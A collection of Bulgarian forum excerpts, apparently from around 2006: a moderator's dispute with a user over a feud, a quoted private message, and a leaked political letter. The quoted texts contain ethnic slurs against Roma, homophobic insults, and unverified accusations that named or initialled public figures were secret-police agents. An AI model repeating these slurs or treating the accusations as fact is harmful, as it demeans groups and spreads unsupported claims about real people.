1. Божидар има ценни попадения, но е привърженик на тезата за индоевропейския произход на прабългарите. ето защо като прабългарист не е популярен.
Нима ме смятате за толкова ограничена, че да не мога да прочета какво сте си писали? Обиждате ме, откровено!
На всичко отгоре, Божидар Димитров е разкритикуван и от друг участник в дискусията Ви, ако не сте обърнал внимание!
За източниците - като човек, който се занимава с история, мога да Ви кажа, че колкото той не е посочил, толкова и вие не сте посочил. Вие сте се позовал на автор - Б. Димитров, а и той се е позовал на автор- Д. Александров, по-известен като "Доктор" Дориян Александров.
Иначе имаше една тема за "Играчките бомби", или нещо подобно от където започна всичко, но не мога да я намеря...
Какво е това "всичко"? И, ако е нещо като това с "В "Поезия" не е идвал, ама аз така си говоря", искрено Ви моля да ми го спестите!
Последно - ако Ви се занимава с анализа на въпросния индивид, мога да Ви препратя някои от последните му лични съобщения към мен. За жалост не пазя по-старите му, а те бяха още по-пиперливи...
Искам само линкове от публичните му съобщения, НО КОРЕКТНИ, а не като тези, с които се опитахте да ме подведете.
Поздрави и на Вас!
_____
Господин Б., явно с Вас не можем да се разберем. Надявам се това да е просто недоразумение, а не целенасочена подигравка от Ваша страна. Ще Ви обърна внимание на 2 неща и, ако все още смятате, че имате какво да ми кажете - направете го.
Първото е, че на два пъти Ви помолих да изясним случая "Поезия". Казахте, че сте спрял да пишете заради него. След това казахте, че той не се е явявал там, но се е подигравал със стиховете Ви. Поисках Ви линк, но Вие не ми давате такъв, за сметка на това първо започнахте да говорите какво се е случило в "История", а сега ми давате нещо, което е...ИЗТРИТО! Извенете ме, но това не е линк. Линкът е връзка към съответен НЕИЗТРИТ пост. Ако нещо е изтрито, то означава, че е дезактуализирано и не е обект на разговор. Предполагам и на Вас няма да Ви е приятно, ако Ви напомня как го нападнахте в ИЗТРИТА тема с думите "Какво ли ще каже жена ти, ако разбере, че си падаш по мен?" и как го изкарвахте в няколкото си поредни постинга там хомосексуалист. Не си мислете, че, ако някой не пише не чете. Не можете да си представите колко "читатели" има. Ако той ми се оплаче за това, аз няма да го приема за аргумент, защото тези Ваши нападки са ИЗТРИТИ. Ето защо, МОЛЯ ВИ, ако имате реални доказателства - предоставете ги.
Второ,какво стана с "така започна ВСИЧКО" в темата за "Играчки-бомби" в "История"?
И, кажете ми как можете да обясните това, че в един от последните си постинги К. Ви е защитил и е направил реклама на школата Ви?
И така, ще Ви обобщя накратко, за да съм максимално сигурна, че ще ме разберете:
-Искам линк, където той обижда поезията Ви.
-Искам да видя как е започнало "ВСИЧКО" в темата "Играчки-бомби".
Моля, отговаряйте точно и ясно, нека ценим времето и интелигентността си взаимно.
Приятна вечер!
___________
Да, явно не можем да се разберем... Защото за мен нещо, което е изтрито, но все пак е стояло извесно време във форума - някои от нещата със седмици все пак са си обиди!
Неговите обиди към Вас, както и Вашите към него са изтрити. Какво предлагате да направим повече от това? Например редно ли е да Ви банна, заради нещо, което е изтрито? Задавам Ви този въпрос конкретно на Вас, за да можете да си прецениете нещата по-обективно, тъй-като ми се струва, че сте просто заслепен от емоции.
Това, което Ви пратих стоя два дена, а после той нееднократно ме наричаше с въпросната думичка в постовете си към мен, а и към други потребители.
Това с което Ви е наричал, както и това с което Вие сте го наричал е изтрито и не е обект на дискусията ни.
Темата за "Играчките бомби" не можах да я намеря, както вече ви писах. Но общи линии се случи следното - някой анонимно в два поста го беше "наплюл", той (Г.) се опитваше да гадае кой е. После е потърсил по Ай-пи адрес, оказало се е, че и аз съм писал от същия Ай-пи адрес и от там се отприщи много злоба към мен. Нарече ме какво ли не и така нататък. Аз почти винаги пиша от клуб Матрицата и не мога да нося отговорност за всеки, който пише от тук!
Възразявате ли, ако попитам и самият Г. за случая, за да мога да получа по-обективна представа?
За подигравката със стиховете ми - ако се пазят някъде изтритите мнения, ще можете да прочетете, как той много обстойно се подигра с последното, което съм написал, като се преструваше, че му прави анализ.
Да Ви повторя ли, да Ви потретя ли, че не се занимаваме с изтрити постове?
Никой не ме е нападал (освен него), за да има смисъл да ме защитава. А "рекламата" на школата ни - не усещате ли иронията?!
Б., ще се въздържа да не Ви кажа какво си мисля в момента за Вас, тъй-като смятам, че откровено се подигравате с мен! Какво иронично има в неговия текст? Вие , май, наистина не сте способен да ми дадете обективни ДАННИ и ДОКАЗАТЕЛСТВА. СЛужите си само с "изтрито е", "не мога да го намеря", "не схващате ли иронията?". В същото време ме отпратихте да чета нещо, където сте го нападнали пръв! Знаете ли какво? Никой не обича комунистите , но Вие директно ме настройвате против себе си! Излъгахте ме, че не пишете в "Поезия" заради него, но се оказа, че той не е писал там. След това исках доказателства къде се подиграва със стиховете Ви, но ми казвате, че е изтрито. Другото, където "започнало всичко" не можете да го намерите, а сега в една откровена реклама на школата Ви ми казвате, че трябва да схващам иронията!
Лично аз (а и никой от клуба ни) никога не съм твърдял, че школата ни е най-добрата, тогава как може той да се подиграва по този начин?!
Ако Вие кажете на едно момиче, че е "най-красивото", трябва ли то да приеме, че му се подигравате и да Ви оскърби с думите: "Защо ми се подиграваш, С.?(или както и да се казвате) Никога не съм казвала, че съм най-красивата защо го казваш?" Как бихте реагирали на това?
А за обидите му към мен - съжалявам, но след толковата обиди, гаври, лъжи и какво ли не към мой адрес (ако проверите никъде не съм си позволил да нарушавам добрия тон) все пак не можех да се въздържа...
За обидите му към Вас не сте могъл да се въздържите? Не схващам логиката, нито контекста. Дайте ми линк.
Накрая, в мой стил, ще си позволя обобщение. Поисках Ви линкове за "Поезия", където да видя кой смее да се подиграва със стихове! Бих разкъсала такъв негодник на парчета! В замяна получих от Вас новината, че той не е писал там. Останах доста подведена! Все пак изречението Ви беше - "Заради него спрях да пиша в "Поезия" и "История". След това, по Ваша инициатива, се захванах с "История", но ВИЕ МИ ДАДОХТЕ ЛИНК, КЪДЕТО СТЕ ЗАПОЧНАЛ ДА ГО ПРОВОКИРАТЕ, БЕЗ ДАЖЕ ДА СТЕ РАЗБРАЛ КОНТЕКСТА ЗА ПРАБЪЛГАРИТЕ, без да сте видял, че НЕ Е КРИТИКУВАЛ БОЖИДАР ДИМИТРОВ ИЗЦЯЛО И, ЧЕ ВАС СА ВИ КРИТИКУВАЛИ ДРУГИ УЧАСТНИЦИ! Това ме вбеси допълнително! Днес получавам известието от Вас, че рекламата на школата Ви е подигравка и аз съм едва ли не, излезнала от психото, щом като не мога да схвана "иронията". След всичко това стигам до извода, че искате да ме подведете, за да можете да си разчистите сметките с него!
Аз тези неща няма да му ги казвам, но ,определено ще се отнеса и до него, за да видя ДРУГАТА ГЛЕДНА ТОЧКА!
През това време Ви съветвам да откриете поне един линк в който да Ви е обидил поезията или Вас, само, много настоятелно ВИ моля, да не е нещо от вида на "Това е реклама, но Вие не схващате ли иронията?"
С останалите представители на Д. се разбрахме много по-бързо и разумно, но с Вас усещам сериозни проблеми!
Всичко добро!
Да, правилно отбелязахте само едно нещо - аз Ви попитах, но Вие ми дадохте много незадоволителни и подвеждащи отговори, целящи да подценят интелекта ми. Аз вече Ви разбирам защо го направихте. Това ще даде някои отговори и на Вас:
In reply to:
--------------------------------------------------------------------------------
...
А сега относно С. - Б.. Когато започнах да посещавам Д. не правеше никакво особено впечатление - само някакви примитивни реплики, просто изречения и набор от думи, който покрива не повече от речника на едно 9-10 годишно българско дете. Не съм се увличал в контакти с него. За сметка на това имаше няколко по-интелигентни човека, с които контактувам и до ден-днешен. Даже благодарение на тях имам статии от сайта на Д., снимки и всичко, което ми трябва, а олигофрените като Берси, Мунчо и Ончо смятат, че съм хакер и мога да заобикалям бановете. След това ще се върна пак на тези хора, сега да разкажа само за Г. СИмпатично, що-годе добро момиче, много умно за годините си. Осъществихме приятелска връзка, която прерастна в топлина, флиртче и взаимопомощ. По същото време, поради някаква голяма грешка, тя е била принудена да тръгне с Б. (от нея научих доста неща за него, които в момента няма да споделям, тъй-като са си негови лични). Понеже отношенията ни бяха доста близки, явно е смятала, че е нередно да ми казва, че ходи с него, но аз се досетих, понеже по същото време той започна да пише стихове (доколкото това са стихове, ако наистина сте поетеса, прочетете поне 3 от тях и , ако не получите разстройство, то ще значи, че ще Ви удари мигрената). Не само пишеше долнопробната си поезия, но и реши да ме пита за законите на поетиката и как да пишел по-добре. Да можех да му помогна - казах му, че има основни неща като рима, но нима човек с неговият интелект и бездарност може да приложи съвета на практика? НЕ! След това се опитва да я ухажва с някакви "стихове" и аз по едно време й казах, че знам, че е той, а тя го потвърди. Нищо против тази връзка нямах, понеже хем, че бях далеко, хем, че си имах вече годеница която е настоящата ми жена). Да, но скоро Б. я накара да се почувства отегчена, напрегната, дезинтересирана. Опитах се, като психолог, да я убедя да не го прави, даже вкарах малко благородни лъжи от типа на - "дай му шанс, и на мен ми се е случвало да не се събудят чувствата веднага" и какво ли не, но отвращението у нея беше достигнало толкова големи размери, че колкото и да му съчувствах не можех да я накарам да го преодолее. То все едно ти да не обичаш туршия и да ти се гади, ама аз да ти викам - абе яж, то апетитът идва с яденето и си представяй, че е банан с мандаринка! Ами не върви. И го заряза. По това време момчето, което не може да излезне в чужбина взе да ми завижда, че съм във великолепна страна, Родина на Бойните изкуства и пр. като Китай и почна да ми прави пропаганда - да съм обичал България, да съм се връщал в БГ и пр. Обясних му деликатно, че в страни, които са варварски поробени от НАТО и, които са мащехи за народа си не мисля да се връщам, но това му отне много време, докато го асимилира (или се правеше, че не го разбира умишлено).
Какво не Ви е казал за история ли? Не ви е казал, че почна да пише като анонимен и да плюе по мене и едно гадже. Сравних му АЙПИ-то и се оказа, че е като неговото. Много добре ми е ясно, че това е от Матрикса, та затова реших да сверя и времето и О, ИЗНЕНАДА!!! Съвпада с предишни постове. Като човек работил неща свързани с полицията реших да приложа и други методи като двойна засечка, свидетели, стилов почерк и какво се оказа? Стиловият почерк съвпада! Пунктуациите му са същите! Експлицирането в оптимален вариант съвпада!
Работата ми беше ясна, ама за всеки случай разпитах и едни негови френдчета, дето не са му никакви френдчета, ами го ползват само за тренировки. Те също пишат в Д.-то и какво се оказа? Ами те били с него, бе! И говедото ще ме лъже!!!! АХ неговата кожица! Като се потвърди и това му праснах веднага АЙПИ-то и постовете и казах с две думи - "Б.? Винаги с чест, а?"И постингите престанаха. Реших да не се занимавам с него и да му дам шанс да живее, ама точно по това време, добре-известният Н. се заяде с мене и С. какъвто е насран от страх пред по-големите (някой ден мога да Ви разкажа за еволюцията му и подскоците - ту с Г., ту с Я. Д., т.е. за абсолютната му безпринципност) СЕ ИЗДЪНИ С ДУМИТЕ - "Недей да му говориш така, че ще го е страх да се върне в БГ!" И тогава си казах - "Ебаси копелето долно! Не стига , че най-гадно се ебава с мене, без да съм му направил нищо! Не стига, че отрича причастността си, въпреки свидетелите за анонимните неща, ами сега ще ме излага пред Н. по 2 пункта:
а/ Страх ме било
б/ Искам, ама едва ли не не мога да се върна в БГ от страх!
След това, можете да отворите съответните постове в Д. започна системно да се присламчва срещу зоофилите като Д. (този, дето в момента губи тотално в спора за японците на Прайда и др.) и да пише тъпи стихове за мене. Понеже мене не ме бърка стрелянето с поезия и мога да засегна всеки даже в рима много повече (видяхте как се разцивриха като написах само едно стихче, преди П. да затрие постовете), ЗАПОЧНАХ ДА МУ ОТГОВАРЯМ, ама админът, който е настрен срещу мене ги триеше и излизаше, че Б. е много умен , а аз не мога гък да кажа! Е, наложи се да го заплаша, че ще кажа някои работи и тогава хермафродтичо казал на Г. да почва той да пише (това пак го знам от агентите си в Д.) и се почнаха онези зоофилско-педалски стихове, като паралелно ме баннаха! :) Жалки са.
Последно - за поезията му - не съм се подигравал, а В ПРАВ ТЕКСТ СЪМ МУ КАЗВАЛ, че не струва. Копеленцето да не си измисля, ами да си признае защо стана дума за анализ на поезията му! По заяждане! Я го накарайте да даде линкове!
И последно, понеже не мисля да се насочвам и да губя време само в занимания с Б. - ТОВА, ЧЕ Е ПРЕСТАНАЛ ДА ПИШЕ ЗАРАДИ МЕНЕ Е БАЛОН!
а/ В история престана да пише, понеже беше тотално разгромен!
б/ В поезия не сме се засичали, ама щом като има халюцинации - да си вярва!
в/ На няколко пъти се заканва да спре, понеже вижда, че с мене не може да се оправи. Нито ми е на годините, нито на акъла, нито на опита, нито на изчетените книги, да не говорим за образование! И ВИДЯХТЕ ЛИ КОГА СЕ ПОЯВИ? Когато дойде глутницата от Д. - типично циганче. Като е само бяга, като се съберат джагалите и идва! Ама така или иначе изродите един по един си заминаха и той подви опашка.
Ако искаш да ти докажа, че това му е реалният мотив - кажи ми каква тема да отворя където и да е , няма да се заяждам с него, само по същество и ще видиш колко пропуски, правописни грешки, логически несъстоятелности и бедна фактология ще покаже! Просто такъв елементарен човек като него не е в състояние да ми стъпи на малкото пръстче. То и другите в Д. са си олигофрени , с малки изключения, ама къде ще го мериш с Ончо дето знае няколко езика, с Д. и Г., дето криво-ляво изкараха едно икономическо образование или с Умрялата Луна дето наистина е един гаден, но способен хакер (спомняте си как се опита да ме преебе, барабар със З., ама го излових, понеже съм предвидлив и с опит в криминалистиката). Това е.
И да не забравя - копелето е непризнателно - направих му реклама на школата, по-рано му пратих 2-ма ученици - Е. и К., отделно винаги поощрявам учениците му да тренират и да не се отказват, ама нали си е идиот и не може да го оцени. Едно "мерси" не казва даже. Ами повече няма да му помагам на този нещастник!
А сега за идеологията, онзи пич ми твърди, че идология може да се сведе на ниво съществен признак до насилие..."
--------------------------------------------------------------------------------
Такива обяснения получих от К., които въпреки острия тон дават прекрасни отговори на въпросите ми.
Ето защо повече не желая да чувам оплакванията Ви. Сам сте си виновен и това наистина не Ви прави абсолютно никаква ЧЕСТ!
Със здраве!
_________
Ами прав си - не искам повече да чета изопачаванията ти на действителността и комплексарските ти опити да убедиш останалите колко си добър, а колко е лош другия. Понеже си от хората, за които личното "Аз" е над всичко друго можеш да посетиш в "За форумите" последната тема там са те споменали. Ако имаш желание - чети си я цялата, аз само ще ти кажа накратко за какво става дума - К., който Г. пише, че ти е бивш ученик, е хакнал профила му и сега Г. се кара с него там. К. казва, че не признава никакви каратисти и може да бие всеки каратист, отделно те е обиждал на "инфантил". Не искам да си мислиш, че злорадствам, просто се появи там и се защити, понеже, колкото и да не заслужаваш заради лъжите си не мога да търпя да се говори зад гърба на хората.
-
От края на 2005 или началото на 2006 (по-вероятно). Не помня. Но е запазено, защото много ми допадна тогава. Не помня авторството.
"Мързелът е биологично детерминиран радостен лукс.
"В частта, която ме удовлетворява обаче, опровергава думите ти "НЕ СПОРЯ КОЯ ИДЕОЛОГИЯ Е БИЛА ДОБРАТА И КОЯ ЛОШАТА. ТОВА НЕ МЕ ИНТЕРЕСУВА.", написани в контекста именно на темата за Студената война."- уточни как се опровергавам. Тоест считаш, че идеологиите са детерминирали сблъскалите се практики и са определили победителя? Това е вярно само до известна степен, най малкото, защото идеологиите са достатъчно пластични и търпят сериозно разминаване с практиките (което и на собствен гръб се усеща). Така например от една страна в Съветска Русия при Ленин си има един съвсем прилично работещ НЕП, коопериране с чуждестранни фирми и капитали, вкл. американски, което довежда бързо до подем в икономиката, зарастване раните от Гражданската война и прочее. В Китай в момента една официално комунистическа идеология съжителства с един чисто бизнес сектор и дори му помага да се развива с непознати другаде темпове. (Имам предвид партийната администрация.) От друга страна, САЩ, които се кълнат във всеобхватната пазарност, в моменти на криза са принудени да се обръщат към държавното планиране (Ню Дийл на Рузвелт по когото така плюят либертарианците), а "държавата на благоденствието" по която така въздишаше навремето соцблокът, е била изградена по кейнсиански икономически модел. С победата в Студената война тя става твърде скъпа и започва нейното демонтиране, заедно с демонтирането на нейния продукт - добре обезпечената и многобройна средна класа. Просто се счита за ненужно разходно перо. И навсякъде където се провежда пълна и последователна приватизация резултатът е един - спадане жизнения стандарт на мнозинството и облагодетелстване на малки клики, при това не задължително най-способните. Изключения като Ирландия, Тайван, Хонконг, са резултат на действието на странични фактори и не могат да са аргумент за предимството на такава практика при всякакви условия."
...
Ерго, пак е с българско потекло, майката не помня ирландка ли беше, а САЩ си остават квото са си оставали - непродуктивна прахосмукачка за мозъци с турбина от девалвирали едноцветни банкноти без реално покритие...
...
-
Всеки разни лийксове си има. То и аз имам един от 2006. Политически е. А аз не искам да нагазвам в политиката затова без имена.
"Здравейте и как сте?
Благодаря за писмото. Моля да ме извините, но изнемогвам. Предаване, книги, срещи със зрители и читатели (миналата събота бях в Панагюрище, преди пет часа бях на такава в София; следващата събота съм в Пазарджик; по-следващата – в Смолян…), Българската антиклеветническа лига, имаме и дом все пак… Не се оправдавам, но ще бъда лаконичен.
Не, вече никой не може да ме разочарова. Натъжихте ме. Скъпа сте ми, но истината ми е по-скъпа. Изненадва ме фактът, че констатирате, а не анализирате; слушате, а не вниквате; четете, а не мислите. Защо приемате нещата едно към едно, без да дирите причините? Кой доведе страната до всичко това? Не са ли комунистите? Да ги бесим? Опазил ме Бог, но бих ги натикал в трудови лагери тъкмо, защото се нуждаем от пътища и всичко друго, което описвате. Човешко същество, приело идеите на една мракобесническа организация, лишила от живот поне 300 000 свои сънародници, са си престъпници или съучастници в престъпления!
Кой циганизира България? Достатъчно е да прочетете монографията на проф. Балкански, в която изследва родословието на Тодор Живков (цитирал съм я и съм я показвал поне 5 пъти на екрана). В нея ученият доказва циганския произход на Живков. И това, че за да изкара колко добре живеем при социализма и нацията нараства, започва да внася цигани от Румъния (майка му е от там, затова е Маруца, а не Мария). Ако имахме държава, циганите щяха и да учат, и да работят, и да плащат сметките.
Така стоят нещата и с всичко останало. Сега да видим къде се намира през това време любимият Ви “вожд”, от какво семейство произхожда? И двамата му родители са комунисти, а бащата – активен борец. Виновен ли е той? Отворете “От Матея свето Евангелие” и се запознайте с гл. 7, ст 15-20 (цитирам по памет). Прочетете цялата гл. 23. Разровете се и в другите евангелски текстове, за да се убедите: Господ учи, че синовете ще плащат греховете на бащите до девето коляно. Накрая си спомнете народната мъдрост: Крушката не пада далече от дънера.
И така, Вашият любим “вожд” завършва фотография в техникума “Вилхелм Пик” и започва работа във филиала на Шесто управление на Държавна сигурност към Ощръжното управление на МВР във Враца. Сетне го назначават за фотограф в Националния музей на литературата в София с директор отявления живковист Г. С. “Вождът” е буйно момче с литературни амбиции. Почти всяка вечер е в кафенето или ресторанта на Съюза на българските писатели, където често напива и бие с други почерпени посетители. Заплатата започва да не му стига. Затова се хваща на работа при фотограф-частник.
В ония години, за да бъде частник, човек трябва задължително да е сътрудник на ДС. Благодарение на ченгесарското си самочувствие частникът не заплаща на “вожда” Ви за някаква извършена работа. Буйният бъдещ “вожд и учител” му откразва някаква не евтина фотогравска апаратура. Ченгето се оплаква на водещия си офицер. И на “вожда” му спретват т. нар. курт-капан. В уречен ден и час фотографът-частник го кани да се оправят в кафе-панорамата на НДК. Заведението е пълно с цивилни ченгета. В. сяда и разговорът започва. По едно врем влиза едър млад мъж, изтъпанчва се пред бъдещия “вожд” и показва картата си на офицер от криминалния отдел на Софийско градско управление на МВР. Моли онзи, дето ще се яви “вожд” да изпружи ръцете си и му надява две не дотам красиви и приятни гривни, свързани с верига. Офицерът се казва Б. А. Б. и знам всичко това лично от него (ако сте почтена, няма да го предадете).
Обаче след арестуването не следва следствие. Бъдещият “спасител на нацията” е освободен без последици. Дали? Вербуван е за нещатен сътрудник на Държавна сигерност – агент за влияние. По-късно започва да се обажда по телефона в радио “Свободна Европа” и да го пускат в пряк ефир. Не следва нищо. Създават му т. нар. легенда. По същото време моя статия, посветена на футбола, е препечатана в съветския в. “Спорт за рубежом” в тираж 1,5 милиона. Прочетена сега, статията е съвсем невинна. Тогава обаче ме уволниха от в. “Футбол” и не ми даваха работа никъде чак до… май 1990 г.
Какво се случва с “водача на масите”? Той се включва в най-малко три “неформални” сдружения, издава “неформално” списание… Накрая е сред първите, включили се в СДС. Става журналист във в. “Демокрация”. С едва половингодишен журналистически стаж го издигат за главен редактор на вестника. Тогава се развихря на два фронта. Първият е на “журналистическото творчество”. Яростно ругае не само комунистите, но и националистите. Пише, че “национализмът е последното убежище на комунистите”. (Моля Ви, не ми искайте доказателства, а просто отидете в градската библиотека, вземете теченията на в. “Демокрация” от 1990 до края на 1991 г. и търсете.) По онова време за “вожда” американците са “солта на Земята” и всичко, което правят, е най- и по-! Второто му развихряне е в любовта. Но това си е негов проблем, иначе мога да разказвам и по тази тема. Чудно е обаче, че е “вярващ православен християнин”?!
Когато го изгонват от “Демокрация”, защото с “кадърността” си е намалил тиража на половина, става главен редактор на сп. “София”, издавано от А. В. “В.” Р. През есента на 1995 г. има общински избори. Все още заблудените, но обичащи демокрацията софиянци подкрепят Софиянски (това е отделна тема). Вашият любим “вожд” се ориентира по-правилно (по-точно е да се каже “ориентират го”). Той оглавява пресцентъра на кандидата на БСП за кмет на столицата, изпълнителния директор на Първа частна банка В. Й. След провала оглавява пресслужбата на “Овергаз”, по онова време част от “Мултигруп”. С официалния собственик, съветския възпитаник С. Д. се познават от родния им Ямбол. И двамата са от едно червено котило…
След това се озовава във в. “Монитор” на бившия заместник-партиен секретар на в. “Отечествен фронт” П. Б. Постепенно онези, които го водят, променят линията му на поведение. “вождът” бавно и полека започва да израства като антиконформист и националист. Любовта му към американците постепенно изстива. В статиите му те все по-често придобиват образа на сатаната. Отнякъде изплува ликът на добрия Дядо Иван, православния “освободител”, до неотдавна руган от същия “вожд”. И тогавашният Симеон ІІ намира все по-често място в статиите на “вожда”. Някак неусетно двамата започват да се явяват “спасители на нацията”. Царят е почти Месия. Накрая той си идва и кани “вожда” на среща. На нея му предлага да го включи в листите на НДСВ, което “вождът” тъй усърдно възхвалява от страниците на “Монитор”. Обаче, явно по нареждане на съответните служби, царят не предлага на “вожда” челно място. И знаещият, че е предопределен “да спаси” българския народ от всичко и всички се нацупва и ритва миндера на приятелството. Още на следващия ден Симеон ІІ се превръща във враг и сатана.
Накрая и П. Б. е принуден да вдигне ръце. Тогава на помощ се притичат познатите от Ямбол, които притежават СКАТ. Нататък всичко изглежда ясно. Ама за онези, които не разсъждават, не е. Например никой не пита “вожда”, като се прави на толкова убедено вярващ православен християнин, защо живее без брак с бившата снаха на комуниста и сътрудника на ДС Р. Р.? Или, като е толкова голям националист, защо не е допринесъл за тази нация с поне едно детенце – българче? Да продължавам ли?
Сега, под диктовката на водещите си офицери, “вождът” обвинява за всичко циганите, турците, ДПС, Ахмед Доган, американците… И нито веднъж “славната и непобедимата” БКП и нейната Държавна сигурност. А как да го стори горкият, като онези, дето напуснаха парламентарната му група, бяха до един офицери от ДС и МВР? С. Б. е комунистка и дългогодишна лична секретарка на члена на ЦК на БКП и първи секретар на ОК на БКП в Сливен, кандидат-члена на Политбюро на ЦК на БКП и министър на културата, кума на Владимир Тодоров Живков Г. Й. М. Х. е син на комунистически дипломат. П. Ч. е откровена мутра от “Болкан Секюрити”. П. Б. е по-популярен с агентурния си псевдоним Бончо. А някой пита ли дали от времето на Живков е имало по-голяма семейственост (шуро-баджанащина) от тази на “вожда”: любовница – говорителка на партията и главна редакторка на партийния вестник; нейният син – депутат и наблюдател в Европарламента (едва 22-годишен); нейният баща – главен координатор на партията! Евала!
През това време маса турци-антикомунисти, лежали по затворите и в лагера Белене, дирят справедливост. И са лоши, мръсници, гадове… Макар да изтъкват, че са българи и искат да живеят и работят в родината си. Обичат България и са готови да умрат за нея. Я. Я. е пълномощник на поне 500 изселници от Бурса, където, ако се появи А. Д., ще го линчуват публично. Прочее А. Д. и кохортата му произлизат от същата БКП и нейния “железен юмрук” ДС. Атентатите на т. нар. турци са организирани от ДС и са осъществени от нейни агенти с логистичната й помощ. Когато Я. го заяви в ефир в моето предаване, “националистите”, повечето бивши комунисти (справка С. С. – офицер от първо главно управление на ДС, свързан с турските тайни служби МИТ, сниман в колата на покойния Ф. да пренасят дрога през граница, Д. А. – офицер от Второ главно управление на ДС; често появяващите се с тях Б. Й. – агент на Шесто управление и М. М. – началник на филиала на Шесто управление на ДС в Окръжното управление на МВР-Кърджали) подскочиха като ужилени.
Ето, това е картината на Вашия “национализъм” и образът на любимия Ви “фюрер” (водач означава тъкмо това. Той постоянно употребява типично комунистическия термин съратници). Хала да Ви е. Тежко и горко на България с подобни. Извинете, но ми е жал за Вас и децата Ви. Вие не ги учите да различават чистото от мръсното (има добри и лоши българи, турци, цигани, евреи…), да мислят и анализират, да търсят и откриват причината, а не само да констатират симптомите. Тъкмо на това разчита комунистическата мафия.
В понеделник предаването “Между редовете” закръгля една година. От вторник то ще престане да бъде “Вашето предаване”, защото не го заслужавате. Язък ми за усилията, безсънните нощи, труда и нервите, дори риска! Както отдавна ме убеждават приятелите ми – политически затворници на комунизма, няма смисъл да се хабя. Навярно онзи ирландски професор е прав. Свястното у нас е на изчезване. Най-доброто се махна от “тази страна”. И въобще не ме интересува кой и какво ще си мисли за мен оттук нататък. Аз служа единствено на истината и на съвестта си. Заклех се пред гроба на измъчения ми от другарите покоен баща, че няма да им живея на колене. Оттогава съм свободен човек. Не успяха да ме пречупят и нескромно се гордея с това. Приятелите ми са достойни хора. Сред тях няма В.-С.-ци и слава Богу! Ние сме патриоти, обичаме родината и народа си, но знаем какво е възможно и какво не. Затова не лъжем и не заблуждаваме никого. Животът ни е бил такъв, че въпреки греховете си (само Бог е безгрешен), гледаме своите деца в очите без основания за срам. И това ни стига.
Желая Ви здраве и дано Бог Ви помогне да отворите съзнанието си, както и да използвате главата си за нещо повече от носене на шапка.
Г. И.
П.П. Все повече хора, с които се срещам, смятат, че на фона на “Атака” тристранната коалиция изглежда ведра и привлекателна. Това също е една от целите."
-
Ето ви и един заек.
(\__/)
(='.'=)
(")_(")
-
Колкото по-далече от политиките, толкова по-добре. Ако политиката беше нещо, което се играе по правила, с морал, без опасности и без толкова много мизерии - това е дело благородно. Обаче, когато много от политиките по света са нещо като мафиотски отношения, модели и пр., ако не е е много наложително, по-добре човек да страни от тях.
-
Някакви от 2006-та година:
"От появата на КПП-то в китайския форум се чувствам некомфортно. Сега е отново тук (Socialduty) и вече съм като в онази сцена от Психо на Хичкок под душа - дръпва мадамата перденцето и там я чака един с нож, замахва и ... продължението го знаете."
ВИНАГИ СЪМ СЕ ОБРЪщАЛ КЪМ ТЕБЕ С ПРИЯТЕЛСТВО - МНОГО НЕщА СЪМ ТИ ПОДКРЕПЯЛ, ЗА ДРУГИ СЪМ СИ ЗАМЪЛчАВАЛ, А ТРЕТИ СЪМ КРИТИКУВАЛ. ТИ СЕ АФЕКТИРАш ОТ ЕДНА НОРМАЛНА КОНСТРУКТИВНА КРИТИКА, А КАЗВАш, чЕ СИ МИ КОЛЕЖКА-ФИЛОСОФ. НЯМА ЛОГИКА. (Това и показва, че диплома по философия не гарантира философско знание. Кой знае как се е дипломирала тази!)
"Само дето аз знам, че е в банята и какво ме очаква, това изостря сетивата ми.
След първта му поява, ми трябваше време да набера смелост и да пиша пак."
ЗАЩО? НЕКА БЪДМ ПО-ПОЗИТИВНИ И ПРИЯТЕЛСКИ НАСТРОЕНИ. ЗАРАДИ ТЕБЕ ПОСТОЯННО НЯКОЙ МЕ БАНВА, ПОНЕЖЕ НАИСТИНА РАЗДУВАш НЕГАТИВИЗЪМ, БЕЗ ДА СЪМ ГО ЗАСЛУЖИЛ. (Когато модераторите са пристрастни и по-прости дори от нея, така се случва. Жалко, обаче че съм си губил времето!)
"Стигна ми само за два постинга и Кремена дръпна дявола за опашката - той бил като поязия в сравнение с Д-р (забравих името му). Ха, на ви една поезия."
АМИ МОЖЕ И ДА НЕ Е ПОЕЗИЯ, НО СМЯТАМ, чЕ ПОЗНАНИЯТА МИ ЗА КИТАЙ СА ДОБРИ И МОГА ДА СЪМ ПОЛЕЗЕН - ТОКУ щО ПИСАХ ЗА ЛЕКАРСТВАТА И БОЛНИЦИТЕ - ТОВА МОЖЕ ДА СПАСИ чОВЕшКИ ЖИВОТ, А ТИ, ПРИМЕРНО БЕшЕ ПИСАЛА, чЕ В КИТАЙ БИЛО НОРМАЛНО ДА СЕ ОРИГВА И ДА СЕ ПЪРДИ (цитирам). Определено поезията не е при теб! (А те ненормалниците, много ясно си спомням, даже изтриха тези животоспасяващи полезни неща - например как да кажеш, че си алергичен към пеницилин или еритромицин.)
"После един приятел ми каза, че започнал да пише тук в БГХелп, защото от всички други форуми ние сме били най-толерантните и интелигентни:pleasantr . "
АБСОЛюТНО НЕВЯРНО! АЗ СЪМ МОДРАТОР В ЕДИН ОТ НАЙ-ПРЕСТИЖНИТЕ КИТАЙСКИ ФОРУМИ, ОТДЕЛНО РАБОТЯ ПО ГЛОГ ЗА ТАТАРИТЕ В БЪЛГАРИЯ С ЕДИН чОВЕК ОТ шУМЕНСКОТО С., ТАКА, чЕ, АКО СИ МИСЛИТЕ, чЕ СИ НЯМАМ ДРУГА ВИРТУАЛНА РАБОТА - МНОГО СЕ ЛЪЖЕТЕ! просто искам да съм полезен като човек, който вярва в добри идеи. (Наистина много гадно, че съм си прахосал времето по тези неблагодарници! Бял ден да не видят дано!)
"Това го приех като личен комплимент и сега се опитвам да съм толерантна, честна спрямо себе си, вас и Гесер. (Май честността не е за предпочитане днес, но... )"
ЧЕСТНОСТТА СЕ ПРЕДПОчИТА ОТ ХОРА, КОИТО ВЯРВАТ В СВЕТЛИ ИДЕАЛИ.
"Моля модераторите да направят нещо и да променят заглавието на Какво искате да знаете за Китай..., както и да се изтрие моя ник като потребител, създал темата. Аз вече изтрих моите мнения, но се оказа, че ако изтрия първото, ще я затрия цялата, пък не е честно спрямо другите и се опитвам да бъда толерантна специално към Гесер."
